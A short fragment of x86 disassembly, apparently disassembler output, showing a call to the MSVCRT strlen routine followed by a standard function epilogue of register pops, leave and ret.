mov esi, eax
call sub.MSVCRT.dll_strlen
pop ecx
pop ebx
mov eax, esi
pop edi
pop esi
leave
ret